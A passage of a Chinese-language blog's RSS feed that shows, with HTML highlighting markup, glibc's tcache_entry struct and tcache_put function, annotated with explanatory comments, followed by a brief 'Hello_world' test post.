</span></span><span class="line"><span class="cl"> <span class="k">struct</span> <span class="n">tcache_perthread_struct</span> <span class="o">*</span><span class="n">key</span><span class="p">;</span> <span class="c1">//指向所属的tcache结构体，对应chunk中的bk字段
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span> <span class="n">tcache_entry</span><span class="p">;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>tcache 被置入链表</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-1-1"><a class="lnlinks" href="#hl-1-1"> 1</a>
</span><span class="lnt" id="hl-1-2"><a class="lnlinks" href="#hl-1-2"> 2</a>
</span><span class="lnt" id="hl-1-3"><a class="lnlinks" href="#hl-1-3"> 3</a>
</span><span class="lnt" id="hl-1-4"><a class="lnlinks" href="#hl-1-4"> 4</a>
</span><span class="lnt" id="hl-1-5"><a class="lnlinks" href="#hl-1-5"> 5</a>
</span><span class="lnt" id="hl-1-6"><a class="lnlinks" href="#hl-1-6"> 6</a>
</span><span class="lnt" id="hl-1-7"><a class="lnlinks" href="#hl-1-7"> 7</a>
</span><span class="lnt" id="hl-1-8"><a class="lnlinks" href="#hl-1-8"> 8</a>
</span><span class="lnt" id="hl-1-9"><a class="lnlinks" href="#hl-1-9"> 9</a>
</span><span class="lnt" id="hl-1-10"><a class="lnlinks" href="#hl-1-10">10</a>
</span><span class="lnt" id="hl-1-11"><a class="lnlinks" href="#hl-1-11">11</a>
</span><span class="lnt" id="hl-1-12"><a class="lnlinks" href="#hl-1-12">12</a>
</span><span class="lnt" id="hl-1-13"><a class="lnlinks" href="#hl-1-13">13</a>
</span><span class="lnt" id="hl-1-14"><a class="lnlinks" href="#hl-1-14">14</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">__always_inline</span> <span class="kt">void</span>
</span></span><span class="line"><span class="cl"><span class="nf">tcache_put</span><span class="p">(</span><span class="n">mchunkptr</span> <span class="n">chunk</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">tc_idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">tcache_entry</span> <span class="o">*</span><span class="n">e</span> <span class="o">=</span> <span class="p">(</span><span class="n">tcache_entry</span> <span class="o">*</span><span class="p">)</span><span class="nf">chunk2mem</span><span class="p">(</span><span class="n">chunk</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="cm">/* Mark this chunk as &#34;in the tcache&#34; so the test in _int_free will
</span></span></span><span class="line"><span class="cl"><span class="cm"> detect a double free. */</span>
</span></span><span class="line"><span class="cl"> <span class="n">e</span><span class="o">-&gt;</span><span class="n">key</span> <span class="o">=</span> <span class="n">tcache</span><span class="p">;</span> <span class="c1">//设置所属的tcache
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">e</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">];</span><span class="c1">//单链表头插法
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">e</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="o">++</span><span class="p">(</span><span class="n">tcache</span><span class="o">-&gt;</span><span class="n">counts</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]);</span> <span class="c1">//计数增加
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>tcache double free 检查</p></description></item><item><title>Hello_world</title><link>/posts/hello_world/</link><pubDate>Mon, 14 Apr 2025 20:18:58 +0800</pubDate><guid>/posts/hello_world/</guid><description><p>md test~ 🤔</p></description></item></channel></rss>